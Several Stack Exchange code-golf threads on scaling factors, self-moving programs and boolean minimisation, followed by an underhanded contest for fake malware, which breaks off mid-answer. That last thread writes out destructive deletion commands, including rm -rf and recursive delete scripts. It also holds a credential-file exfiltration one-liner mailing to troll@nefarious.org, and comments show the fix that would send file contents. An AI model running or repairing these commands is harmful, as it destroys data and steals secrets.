text:
Autoscale complex function
Context: We are working on a complex image drawing program to produce mugs, t-shirts, and so on. Here is an example of such function

However, we are facing the following problem: Random generated functions are mostly white and black (where black is close to zero and white close to infinity). The idea of this contest is to find a number to scale all numbers so that corresponding colors are in the visible spectrum.
Problem
The input is, formatted the way you want:

An array of double precision A[1..n] randomly sorted of positive numbers (>0).
An expected inclusive lower bound L > 0
An expected inclusive upper bound U > 0

The expected output is

A number f so if we multiply all elements of A by f, it maximizes the number of the new elements between L and U. If there are multiple solutions, f should be as close to 1 as possible.

Write a program computing f in a few operations as possible.
To check, post the result of your program on the following (sorted for convenience) input:
A = [0.01, 0.02, 0.5, 1 , 5, 9.5, 9.8, 15, 18, 20, 50, 100]
L = 1
U = 5

The result should be f = 0.25
Winning conditions: The winner will be the one with the best time complexity. If there are multiple algorithms of the same complexity, the fastest one will win. If your program is obfuscated or hard to read, please also attach an unobfuscated version with explanations.

I looked at the picture and thought you were asking a creative fractal drawing question! Unfortunately your actual question is somewhat less interesting.

Well, that could be the next challenge! But not for the moment.

I would have expected the result to be 0.25. Then the same numbers of A (5 up to 20) are inside the bounds and 0.25 is closer to 1 than 0.2.

How accurate need it be?  I calculated it to be .2499.

Perl O(n log n)
#!/usr/bin/env perl
use strict;
$^W=1;

# calculate_f ( <lower bound>, <upper bound>, <array reference> )
sub calculate_f ($$$) {
    my $L = shift;
    my $U = shift;
    my $A = shift;
    my $n = @$A;

    # Catch trivial cases:
    # * Upper bound is lower than lower bound,
    # * array is empty.
    # In both cases the result array is empty and the value
    # of f does not matter. Therefore we can return the
    # "optimum" value 1.
    return 1 if $U < $L or $n == 0;

    # The array is sorted. accordign to the manual page, Perl since 5.7
    # uses a "stable mergesort algorithm whose worst-case behaviour
    # is O(N log N).
    my @A = sort {$a <=> $b} @$A;

    # Array @R stores the length of ranges:
    # $R[$i] is the number of elements that form a valid
    # range of input numbers ($A[$i], ..., $A[$i + $R[$i] - 1])
    my @R;
    my $lu = $L / $U;
    my $ul = $U / $L;
    # find ( <upper value>, <left position>, <right position> )
    # The function looks for the largest input value below or equal
    # <upper value>. Invariant: The input value at <left position>
    # in the sorted array belongs to the range below <upper value>,
    # the input value at <right position> is larger than <upper value>.
    # It is a binary search: O(log n)
    sub find ($$$) {
        my $u = shift;
        my $left = shift;
        my $right = shift;
        return $left if $right <= $left + 1;
        my $next = int(($left + $right)/2);
        return find($u, $next, $right) if $A[$next] <= $u;
        return find($u, $left, $next);
    }
    for (my $i = 0; $i < $n; $i++) {
        my $a = $A[$i];
        my $u = $a * $ul;
        if ($A[$n-1] <= $u) {
            $R[$i] = $n - $i;
            next;
        }
        $R[$i] = find($u, $i, $n - 1) - $i + 1;
    }
    # Complexity is n times the loop body with the binary search: O(n log n).

    # In the next step the maximum number of a valid range is
    # obtained: O(n)
    my $max = 0;
    for (my $i = 0; $i < $n; $i++) {
        my $a = $R[$i];
        $max = $a if $a > $max;
    }
    print "(Debug) maximal number of elements in a valid range: $max\n";

    # Now each range is checked to find the optimum f
    my $f = 0;
    for (my $i = 0; $i < $n; $i++) {
        # ignore ranges with fewer elements
        next unless $R[$i] == $max;

        # print current range:
        print sprintf "(Debug) A[%d .. %d] = (%g .. %g)\n",
                $i, $i + $max - 1,
                $A[$i], $A[$i + $max - 1];

        # calculate f values based on the smallest/largest element
        my $f_lower = $L / $A[$i];
        my $f_upper = $U / $A[$i + $max - 1];
        # if 1 is in the middle of the f values, then return
        # optimal value
        return 1 if $f_lower <= 1 and $f_upper >= 1;

        # Now $f_lower and $f_upper are both smaller or both greater than 1.
        # A candidate for $f is selected from the current range
        # by using the value that is closer to 1.
        my $f_candidate = $f_lower < 1 ? $f_upper : $f_lower;
        print sprintf "(Debug) f_candidate = %g from (%g .. %g)\n",
                $f_candidate, $f_lower, $f_upper;

        # Compare the candidate with the current f
        if (not $f or abs($f_candidate - 1) < abs($f - 1)) {
            $f = $f_candidate;
        }
    }
    # Complexity is O(n), because the loop body is O(1).

    return $f;
}

my $f = calculate_f(1, 5, [
    0.01, 0.02, 0.5, 1 , 5, 9.5, 9.8, 15, 18, 20, 50, 100
]);

print "(Result) f = $f\n";

__END__

Example output:
(Debug) maximal number of elements in a valid range: 6
(Debug) A[4 .. 9] = (5 .. 20)
(Debug) f_candidate = 0.25 from (0.2 .. 0.25)
(Result) f = 0.25

Algorithm is explained in the comments. The input numbers are sorted with O(n log n). Then for each number its valid range is obtained, O(n log n), then the maximum number of elements in the range is found, O(n) and the best fitting f value is calculated, O(n).
Complexity: O(n log n)

Older version with O(n2)
#!/usr/bin/env perl
use strict;
$^W=1;

# calculate_f ( <lower bound>, <upper bound>, <array reference> )
sub calculate_f ($$$) {
    my $L = shift;
    my $U = shift;
    my $A = shift;
    my $n = @$A;

    # Catch trivial cases:
    # * Upper bound is lower than lower bound,
    # * array is empty.
    # In both cases the result array is empty and the value
    # of f does not matter. Therefore we can return the
    # "optimum" value 1.
    return 1 if $U < $L or $n == 0;

    # The array is sorted. according to the manual page, Perl since 5.7
    # uses a "stable mergesort algorithm whose worst-case behaviour
    # is O(N log N)".
    my @A = sort {$a <=> $b} @$A;

    # Array @R stores the length of ranges for each element with
    # position $i in the sorted array, if the range starts with this
    # element:
    # $R[$i] is the number of elements that form a valid
    # range of input numbers ($A[$i], ..., $A[$i + $R[$i] - 1])
    my @R;
    my $lu = $L / $U;
    for (my $i = 0; $i < $n; $i++) {
        my $a = $A[$i];
        # Each input number is part of its own range.
        $R[$i]++;
        # Now we assume, that the current input number $A[$i] is
        # the largest element of the range. The minimum lower bound in
        # the input number space is calculated and the previous
        # input number are checked, if the current input number
        # can be added to their ranges.
        my $l = $a * $lu;
        for (my $j = $i - 1; $j >= 0; $j--) {
            last if $A[$j] < $l;
            $R[$j]++;
        }
    }
    # In the worst case, all input numbers are part of the  final
    # output range. Then we would have to look up all smaller input
    # numbers for each input number: O(n^2).
    # In the best case, the final output range is 1, e.g. if the lower
    # bound equals the upper bound. Then the going back is limited to
    # 1 and the complexity is O(n).

    # In the next step the maximum number of a valid range is
    # obtained: O(n)
    my $max = 0;
    for (my $i = 0; $i < $n; $i++) {
        my $a = $R[$i];
        $max = $a if $a > $max;
    }
    print "(Debug) maximal number of elements in a valid range: $max\n";

    # Now each range is checked to find the optimum f
    my $f = 0;
    for (my $i = 0; $i < $n; $i++) {
        # ignore ranges with fewer elements
        next unless $R[$i] == $max;

        # print current range:
        print sprintf "(Debug) A[%d .. %d] = (%g .. %g)\n",
                $i, $i + $max - 1,
                $A[$i], $A[$i + $max - 1];

        # calculate f values based on the smallest/largest element
        my $f_lower = $L / $A[$i];
        my $f_upper = $U / $A[$i + $max - 1];
        # if 1 is in the middle of the f values, then return
        # optimal value
        return 1 if $f_lower <= 1 and $f_upper >= 1;

        # Now $f_lower and $f_upper are both smaller or both greater than 1.
        # A candidate for $f is selected from the current range
        # by using the value that is closer to 1.
        my $f_candidate = $f_lower < 1 ? $f_upper : $f_lower;
        print sprintf "(Debug) f_candidate = %g from (%g .. %g)\n",
                $f_candidate, $f_lower, $f_upper;

        # Compare the candidate with the current f
        if (not $f or abs($f_candidate - 1) < abs($f - 1)) {
            $f = $f_candidate;
        }
    }
    # Complexity is O(n), because the loop body is O(1).

    return $f;
}

my $f = calculate_f(1, 5, [
    0.01, 0.02, 0.5, 1 , 5, 9.5, 9.8, 15, 18, 20, 50, 100
]);

print "(Result) f = $f\n";

__END__

The algorithm is explained in the comments. The complexity in the worst case is O(n2), in the best case O(n log n) because of the sorting.
Example output:
(Debug) maximal number of elements in a valid range: 6
(Debug) A[4 .. 9] = (5 .. 20)
(Debug) f_candidate = 0.25 from (0.2 .. 0.25)
(Result) f = 0.25

C++
Comments indicate how code works.
#include<iostream>
#include<vector>
using namespace std;

int main(){
    // input stores input, sum_values stores the sum of values in the valid range after multiplying
    vector<double>input;
    vector<double>sum_values;

    // stores input, and ends of range
    double num, lower, higher;

    cout<<"Enter the array of values, use 0 to exit: ";

    // input
    while(1){
        cin>>num;
        if(num==0)break;
        input.push_back(num);
    }

    cout<<"Enter the mimimum and maximum values: ";

    cin>>lower>>higher;

    // if array is empty or lower is greater than higher, print 1 and exit
    if(lower>higher||input.size()==0){cout<<"1";return 0;}

    // iterate through all values between .0001 and .9999
    for(double d=.0001;d<1;d+=.0001){

        // check each d for valid ranges
        for(int i=0,valid=0;i<input.size();i++){

            // check if input * d is in valid range
            if(d*input[i]>=lower&&d*input[i]<=higher)valid++;

            // store final number
            if(i==input.size()-1)sum_values.push_back(valid);
        }
    }

    // iterate through compiled sum of ranges and find highest
    int position=0, biggest=-.1;
    for(int i=0;i<sum_values.size();i++){

        // return value closest to 1 for equal values
        if(sum_values[i]>=biggest){
            biggest=sum_values[i];
            position=i;
        }
    }

    // print value
    cout<<(double)position*.0001;

    return 0;
}

Really this works, but this is so sloow. And besides, the factor might be also between 1 and infinity, so you are missing a lot of values. Imagine that the first array was divided by 10... then the factor should be 2.5, which is not covered by your algorithm.

And the complexity is O(Big constant*input_size), which in practice is worse than O(n log n).

Oh dear.  Well, you needn't accept it as the answer.

Python
import collections

def pop_ranges(ranges, max_factor, count, dist, factor):
        """Removes ranges that don't overlap with the next range to be added"""
        while ranges and max_factor < ranges[0][0]:
                cnt = -len(ranges)
                maxf = ranges[-1][1]
                minf = ranges.popleft()[0]
                # Finding the minimum from a constant amount of items (3) is O(1)
                count, dist, factor = min([
                        (count, dist, factor),
                        (cnt, abs(minf - 1), minf),
                        (cnt, abs(maxf - 1), maxf)
                ])
        return count, dist, factor

def scaler(vals, min_val, max_val):
        # Sorting is O(n log n)
        vals.sort()

        factor = dist = count = 0
        # Deque has O(1) operations to the beginning and the end
        ranges = collections.deque()
        # This loop is O(n); the outer loop does n passes and adds one item to
        # ranges on every pass. pop_ranges() contains a loop, but since the loop
        # pops items from ranges, it can only do a total of n passes during the
        # whole outer loop.
        for val in vals:
                # val is growing on every pass, so the factors are shrinking.
                min_factor = min_val / float(val)
                max_factor = max_val / float(val)
                count, dist, factor = pop_ranges(ranges, max_factor, count, dist, factor)
                ranges.append((min_factor, max_factor))
        count, dist, factor = pop_ranges(ranges, ranges[-1][0] - 1, count, dist, factor)

        return factor

print scaler([0.01, 0.02, 0.5, 1 , 5, 9.5, 9.8, 15, 18, 20, 50, 100], 1, 5)

This works by sorting the values and keeping track of overlapping factor ranges. New factor ranges are added at the end of the deque and old ranges are removed from the beginning when they no longer overlap with the next range that is about to be inserted. The number of items in the deque corresponds to the number of items on the range and the first and last items give the endpoints of the range. When removing items, the best factor is updated if the current range is better. The complexity should be O(n log n) as explained in the comments.

Thank you for participating. I don't understand how pop_range works. Normally because the first supplied ranges is empty, the while loop should never be executed. Can you explain more?

Yes. pop_ranges() removes all ranges that don't overlap with the next range to be added and updates the best factor seen so far. You are right that on the first call the while does not run at all, but that is expected behaviour. The while loop in pop_ranges() only ever removes ranges, they are added by the for loop in scaler(). pop_ranges() can remove anywhere between 0 to len(ranges) items per call depending on the data.


text:
Programs that move around in memory
It's time for some quines! Well, sort of. This challenge is to create the smallest program that could move around in memory, i.e. if a program is resident in 2000:0100, the program should move to say, memory address be7a:3470.
 Rules

The memory address to move in should be pseudorandom.
It's still valid if it's a moving file around in the hard drive.
If it jumps around the RAM it should go to another segment in RAM.

I call these programs transposons, after the genes that move all around the DNA of an organism. Happy golfing! Contest ends May 9, 2014.

Is main() {fork();} is a valid solution?

Oops, I haven't thought of that . . . No. It has to go to another location in the hard drive, and it has to move itself.

By pseudorandom do you mean not fixed in the way of doing it? The elements of my programs are not in contiguous storage locations. Logically one program, physically separate parts when running. My programs move on disk as they are paged in and out of storage. What does 2. mean?

means it has to move around to other locations in the hard drive. Sometimes I think I'm the only partial mind reader . . . . And also it has to be a language in which your programs are in contiguous locations.

This question badly needs clarifying. The answers generally don't seem to match what I'd consider the specification to mean, which means that people generally have different interpretations of what the specification means.

Bash , 12 bytes
Requires root permissions
mv /bin/mv ~

7 bytes if you already are in /bin
mv mv ~

Does not conform to the rules. You have to specify which target location is . . .

Edited, is it ok now?

I know this isn't May 9th, but it's close to it. You Win!

This doesn't seem to meet the spec at all. It isn't moving itself on the disk at all. It's moving the operating system's rename-a-file program to a different place on the disk instead.

Bash, 2 bytes
$0

Moves itself to a new memory address when it is assigned a new process.
To move to a different spot on the harddrive it takes a few more:
cat $0>x

COBOL (Enterprise COBOL) One 72-character line, 11 significant characters
   ID DIVISION

That's the smallest (source) I can get which can be moved around (unless I need to make it shorter).
To do the moving:
   ID DIVISION
   PROCEDURE DIVISION
   CALL "GOLF006"
   CANCEL "GOLF006"
   CALL "GOLF006"

GOLF006 is the name of the stored program. This CALLs the program (using DYNAM compiler option to load the program dynamically), which program then returns to the CALLer having done its work. The second program then CANCELs the CALLed program (confusingly, CANCEL just causes the program to be "removed" from memory) and then CALLs the same program again, so a new one will be loaded.
I suspect the question will be updated soon...

PHP (shamefully large):
<?file_put_contents(dirname($f=__FILE__).'/'.microtime(1).'.php',file_get_contents($f));unlink($f);

file_put_contents($file,$content);: write a file, create if it doesn't exist
file_get_contents($file);: read a file
dirname($path): gives the directory name of a path
microtime($float): returns a timestamp with microseconds (you can use rand or mt_rand here)
unlink($file): deletes a link to a file, ultimately deleting a file is no other link exists
__FILE__: path of the current file being executed.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

sort: votes


text:
Compressing boolean formulae
Syntax
~ not
/\ and
\/ or
t true
f false
P, Q, FISH, etc: variables
(Operators are given in order of precedence)
Introduction
Some boolean formulae can be changed to different forms to make them shorter. For example, the formula
~(~P /\ ~Q)

can be changed to the shorter form
P\/Q

while the formula
P \/ ~P

can be changed to the shorter form
t

Challenge
In this challenge, you are required to write a program that, given any boolean formula using only /\, \/, ~, t, f, parentheses, boolean variables (in uppercase), and whitespace, outputs a shortest form (since there may be more than one shortest form) in characters of that expression which is equivalent for all assignments of the variables. Shortest code (in any language) wins. I/O can be done in any reasonable manner.
Also, since answers are difficult to verify, it would be helpful (but isn't required) to include a brief explanation of how the code works.

In your "Challenge" section you do not mention any whitespace, but your examples have them. Should I handle them?

@Victor Edited.

What are you counting as the size of the expression: operators + variables + constants (i.e. ignoring parentheses), or characters (so that part of the solution is removing whitespace)?

@PeterTaylor Characters.

Is it allowed to use third party lexer/parser library?

@Florent It is not.

Do we have to handle (P) (which results in P)?

@Florent Yes, definitely.

I'm not sure code-golf is the best tag for this challenge...

@Florent Why not? Shortest code wins.

I think Florent's point is that it is a difficult problem to solve in general, let alone to golf. Among other things, the parser will need to be able to determine if two arbitrary formulae have the same truth conditions. Reducing p ^ ~p is easy enough if p is atomic, but how about ((A^B)v(A^C)) ^ ~(A^(BvC)) ? I think it is a cool problem and I am curious to see some responses. But if you want short solutions, the problem could be made more conducive to golfing by A. using prefix notation and B. providing a list of required reductions.

@dfernig I briefly considered both of your suggestions (and regrettably bumped this question by editing and then rolling-back, oops...) , but I believe that (A) doesn't actually change the difficulty of the problem much, while (B) makes it much less interesting.

I have a valid (golfed) solution in more than 5000 characters. This is ridiculous... It is composed of a tokenizer, an AST-parser, an AST-rewriter and an expression generator.

Mathematica can do it in one function call (BooleanMinimize)

@Florent I believe that Mathematica's BooleanMinimize will not always output the shortest form in characters - correct me if I'm wrong.

@IstvanChung Try it on Wolfram! It's unbeatable.

@Florent http://www.wolframalpha.com/input/?i=booleanminimize%28%28A+or+B%29+and+%28C+or+D%29+and+%28E+or+F%29%29

@IstvanChung You have chosen a non-minimizable expression. Look at the DNF notation of this one

let us continue this discussion in chat

For the record, I have a 498-character solution now, whose sha256sum is b9c98d088b78c30bb2108008a064a7b95722a4694d90ddad94a025c2eb4ed30a. I'll post the actual code at a later date, as I don't want to stifle creativity.

Python 616
Not particularly efficient, but works in reasonable time for inputs whose results are around 5 or 6 characters. To check a string to see if it matches, it loops through every possible combination of truth/false values for all the variables and makes sure each one agrees. Using this it checks every possible string comprised of the relevant characters (not even necessarily a syntactically correct one).
It actually will print every equivalent expression (of every size) and does not actually ever terminate.
Code:
c=['t','f'];o=['1 ','0 ']
def e(s,v):
 for k in v:s=s.replace(k,v[k])
 return eval(s)
def z(t,p='~/\\() '):
 w=[]
 if p=='':return[t]*(t not in['']+c)
 for s in t.split(p[0]):w.extend(z(s,p[1:]))
 w.sort(key=lambda v:-len(v));return w
def m(v):
 l=list('~\\/()')+v
 for s in l:yield s
 for r in m(v):
    for s in l:yield s+r
def n(x):
 if x<1:yield []
 else:
    for l in n(x-1):
     for b in o:yield[b]+l
t=raw_input();v=z(t)+c;l=len(v)
for s in m(v):
 g=1
 for y in n(l):
    y[-2:]=o;d=dict(zip(v+['/\\','\\/','~'],y+['and ','or ','not ']))
    try:
     if e(s,d)!=e(t,d):g=0
    except:g=0
 if g:print s

Input/Ouput:
> ~(~P /\ ~Q)
Q\/P
P\/Q
...

> P /\ ~P
f
~t
...

> (P \/ Q) /\ P
P
(P)
...

Oh right, I forgot to ever actually post my answer. It uses essentially the exact same approach which KSab's answer uses, but prints only the shortest valid expression.
Python3, 493 484
e=lambda x:eval(x.replace('\\/','+').replace('/\\','%'),None,w)
class V(int):
 def __add__(s,o):return V(s|o)
 def __mod__(s,o):return V(s*o)
 def __invert__(s):return V(1-s)
import re;from itertools import product as P;t=V(1);f=V(0);i=input();v=re.findall('[A-Z]+',i)
for k in range(1,len(i)):
 for m in P(i+'~/\\tf()',repeat=k):
  m=''.join(m)
  try:
   for d in P((V(0),V(1)),repeat=len(v)):
    w=dict(zip(v,d))
    if e(m)!=e(i):raise
  except:continue
  print(m);exit()
print(i)

Edit: fixed a bug where parentheses might not be generated, and golfed the computation of m a bit.  Also replaced -s+1 with 1-s.

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Trolling the troll
A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.
Your goal is to write a program that:

Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.
Actually does no damage at all.

NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.
EXAMPLE (bash):
rm - rf /home

This example looks like rm -rf /home which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.
This is an acceptable solution but it is not very good, because the bug is quite easy to detect.
On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.
A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.
This is a popularity contest, so the code with the most upvotes wins.

I feel like you're trying to trick me into pasting rm - rf / into my shell...

@undergroundmonorail you can use a shell simulator like this: http://www.compileonline.com/execute_bash_online.php

I was making a joke, but that's a cool site actually.

Looks like someone is looking advices for malware

Bash rm -rf / . Unless the system is very old , it will require --no-preserve-root :)

-1 because a) code-trolling and more importantly b) I'm very concerned by any questions regarding creating malware (even though it's fake it skirts very close).

@user80551 right, fixed the example

@ErelSegalHalevi I actually meant that as an answer.

@Gareth It's not really malware, though (which typically tries to be hidden and/or steal data these days), it's mostly completely obvious attempts to delete things, which any beginner programmer could write with little effort.

rm - rf / isn't a valid example! It can cause damage if you have a file called rf in the current directory

c:>fórmat c: /q /s

@Gareth It "skirts fairly close" to malware by appearing to delete a file? You've got to be kidding me.

Someone who uses other people's attack programs with little to no understanding is a script kiddie, not a troll.

Yeah, and now I am gonna fix these answers(including the example given in question) and use them as malware!

@Gareth Spoil sport :P it's only theoretical...

I wonder how many systems were ruined by guys testing their solution and failing

This question is very dangerous. Because when trying to create code for answer, I made some bugs in it and it worked 'properly' because of them. And this 'proper work' cost me some data :p

I would offer VimL blast but I'm not sure that actually satisfies the criteria... (presumably the troll is Vim-savvy?)

@gnibbler Or a file called -.

Dear god, I pity the poor programmer who forgets the one character that makes his code harmless.

I'm closing this challenge because underhanded contests are now considered off topic.

Bash
I've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk.

This script creates a folder then continually concats all the files together and puts them in a new one, adding in the value of ls -al for good measure (and so that the starting file has something).
#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

except...

 /bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since "the shebang is technically a comment, the troll will ignore it"

Cute.  Nice misdirection.

+1. The first line in a script is a blind spot for many programmers (including myself).

and the shebang is technically a comment, so the troll will ignore it

+1 for abusing the noncommenting comment :) thats really not obvious

Running it as bash whatever.sh will ruin your trick...

@Darkhogg, what luck! I saved it as evil.command so that the troll can just double click it to open (on Mac at least)

Why does the makeSpam works? I'm confused about the asterisk.

The cat * means "print out the contents of every file in this directory". The second line adds the name and other information of every file in this directory. The last line prints all of this information into a new file.

You will get various errors since you did not quote the variables, which will break your script as well.

@queueoverflow, Which bit(s) do you think will cause errors? I actually ran this script and it had the desired, undesirable outcome.

Oh dear, as if this answer is one vote off being my "best answer" on any SE.

Haskell
Check this manual page, removeDirectoryRecursive deletes a directory with all of its contents!
import System.Directory
main = return (removeDirectoryRecursive "/")

 The correct code would be main = removeDirectoryRecursive "/"
 The main function is supposed to return a concept of doing something. removeDirectoryRecursive "/" returns a concept of wiping your filesystem, but the return function (yes, it is a function), wraps its argument in a dummy concept of returning that value.
 So we end up with a concept of returning a concept of wiping your drive. (Yo dawg I herd you like concepts.) The haskell runtime executes the concept returned from main and discards the returned value, which in our case is a concept of wiping your filesystem.

+1. I couldn't understand the bug even after I have read your explanation...

As I understand this is a pointer mistake (pointing to the function's pointer instead of pointing to the function). Quite good, beginning programmers generally fall easily for pointers tricks.

@user1121352 Rather, it can be compared to just returning dangerous function without executing it. In haskell main return value gets dismissed anyway.

Basically, this would be similar to return removeDirectoryRecursive; as opposed to return removeDirectoryRecursive(); in C, is that correct?

@user1121352 No. The function itself is called, but it cannot delete a file because it's pure. Instead it gives an IO action, which when returned from main, is executed and removes the file. Explicitly using the return function, however, creates an IO action whose purpose is just to create the value.

@Cthulhu Not that either. See above comment, and I edited the answer. Hope this is more readable.

@mniip Function is called, but an action is returned and not executed. I still think it is perfectly ok to relate this to functions in other languages being returned not executed for actions are somewhat similar to functions and those languages don't have the actions of their own.

@Cthulhu return has nothing to do with return in other languages (or even with "returning" a value from a function). Neither do values of type IO a have a lot to do with functions in other languages. So the analogy is pretty hand-wavy

The program does nothing, but it returns an abstract representation of the concept of wiping your file system. Try explaining that to a troll!  :-) I'm reminded of a line from The Mikado (if you haven't, seen it, you must!) where the Lord High Executioner explains why he lied about having carried out an execution: It's like this ... Your Majesty says "Kill a gentleman", and a gentleman is told off to be killed. Consequently, that gentleman is as good as dead, practically he IS dead, and if he is dead, why not say so?

I just love this. I didn’t catch it, but I love it so much: Apparently, if you don’t understand Monads, you won’t get it. Yet it looks so simple. It’s perfect.

This answer is only popular because not many people know haskell.

This won't compile as Main module.

For what it's worth, learning how monads work before learning how IO works is a bad idea.

PHP
Here's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient...

Deleting website; please wait

<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>

Website deletion complete

Just one teeny-weeny problem...

 There is no delete() command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with @. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all.

http://www.php.net/manual/en/function.delete.php

^ as far I understand: there is no delete() function, the manual just says that this is "fake-entry" for anyone looking the right function(unlink). That does not mean there is some kind of "automatic" redirection in PHP.

@Erti-ChrisEelmaa This is correct: php > delete('/tmp/file'); PHP Fatal error:  Call to undefined function delete() in php shell code on line 1

@user11153 got trolled.

See, I thought the reason the errors would be ignored and execution would continue was because it was PHP.

The @ before delete suppresses all errors (except fatal errors). It's the same as error_reporting(0);delete();error_reporting(E_ALL);.

@IsmaelMiguel (except fatal errors) not true, it's exactly fatal error which is being suppressed in this case.

Just read the 1st constant's definition: http://www.php.net/manual/en/errorfunc.constants.php

I think using a random non-existent function is a tad obvious (delete to delete files? There’s no reason to assume that’d fool anybody). How about unlⅰnk instead (which uses U+2170 instead of “i”)?

@KonradRudolph A function named delete to delete files is completely believable in PHP. The only thing that's not believable is that if it was real, there would be 3 or 4 other ways of doing it and all but the one with the weirdest name would have serious security flaws.

Just wait until PHP introduce this function for real as an Alias to "unlink". Similarly to is_int() and is_integer() and this malware will be the real troller.

But… the html and body elements are not closed ! This file is bad. Do not open this file !

As for me (I don't know php), the @ symbol is strange as I see it here for the first time. And when the other code seems correct, this place causes some sense of a strange thing.

Perl (Unix)
Deletes all files on the system.
#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Features

This is valid Perl.  It even compiles and runs with -w and use strict!
No quibbles like C++'s delete.  unlink really is the function to delete a file, rmdir really does remove a directory, etc.
Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths.  Also, won't run out of directory handles, since it reads and closes the directory before recursing.

Spoiler

 On Unix, the first entry in the root directory is normally "." so the program will perform an infinite recursion of chdir(".") until it runs out of memory and crashes.

Further notes

 This was harder to get right than expected.  If you don't use the chdir approach, you eventually get a pathname that's too long.  Then -d returns false and the infinite recursion is broken, and files may actually get deleted!  A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen.

"Then -d returns false and the infinite recursion is broken, and files may actually get deleted!" did you learn that the hard way?

@NiklasB.: Fortunately I tested a dummy version :)

I expected that such code can delete only empty folders, but not files...

"On Unix, the first entry in the root directory is normally "."". So, one more Windows-only malware?

You say it will make the system crash so it is maleware and that's what you should not do?

@timmyRS: The program will crash.  The system will keep running just fine.

Ohh sorry. xD did not get that

Shell one-liner
This will steal all the victim's passwords, private  keys, bitcoins, etc.
 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Spoiler:

 This may look as though it emails all those files to the troll, but actually it just emails their filenames.

To email the contents, the cat, head or tail commands would have to be involved somewhere.

Still leaking data no matter what. Is this trolling the trolling trolls?

-exec cat '{}' \; | …

@queueoverflow -print0 | xargs -0 cat |

I got it without the spoiler after reading the code 2-3 times.

Batch/CMD
Save
DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

and make them run it with parameters of each of the drives on the computer.

 %0 is always the first parameter - the file name.  After this comes the set of actual parameters, but it has already deleted  itself so it will not continue.

Also relies on Batch's funny behaviour of closing the file and reopening it to read the next line for every line...

DEL %0 will not work unless the extension of the file is specified in the command line and either the script is run by giving its full path or you are in the same directory. DEL "%~f0" would solve both problems and be resilient to spaces anywhere inside the path. Also %10 and upwards does not exist -- it translates to %1 followed by a literal 0.

+1. Even if the troll understands what "DEL %0" does, you can convince him that this is only to clear the evidence, and it makes no harm as the batch file remains in memory until its execution is over (which is false, as Bob said).

A clever troll would still think it strange to issue the command for self-deletion at the start of the file (rather than at the end), unless you take into account how notoriously error-prone batch scripts are.

@NigelNquande: You could explain to the troll that you need to do it first, because you'll lose it after doing a SHIFT for the rest of the arguments

@Bob I had no idea batch did that... that's horrible.

@snotwaffle: It could be simply explained. If the target would force shutdown the computer before the script would delete everything, the script would stay. This removes it, so when the target notices that files are being removed, the script already disappeared.

@Bob This is ... braindead...

@Bob Yeah. That's just stupid.

Javascript
infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Well, the original malware will not blow up your computer but can be annoying.
This is harmless because:

The eval will break the infinite loop and modify the message.

I'd upvote you, but you have 1337 rep.

So please don't ! :)

@scrblnd it's gone D:

Down-vote bad answers until you get back to it.

@scrblnrd3 I upvoted still ;D

Just to explain for others, atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') will execute the following: "infiniteLoop=false;evilMessage=evilMessage.replace("spam","LOVE");"

Amazing! For those that did not understood, here is the atob API

Java
May the gods forgive me for submitting to your wretched demands, troll.
class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

 Runtime.exec does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally "*"

So what is my home directory is called '*'? ;)

Honestly this is one of the better Java answers. This requires a pretty solid understanding of the (many) downfalls of Runtime.exec(). +1.

Does java have an actual equivalent to c's system() function?

@SuperJedi224 Nope, you have to specify /bin/sh -c or cmd /c or whatever manually. Makes sense since you never know what a command would do on a new OS.

C
Since he doesn't read comments that should do it:
#include<stdlib.h>
int main()
{
//Are you reading this??/
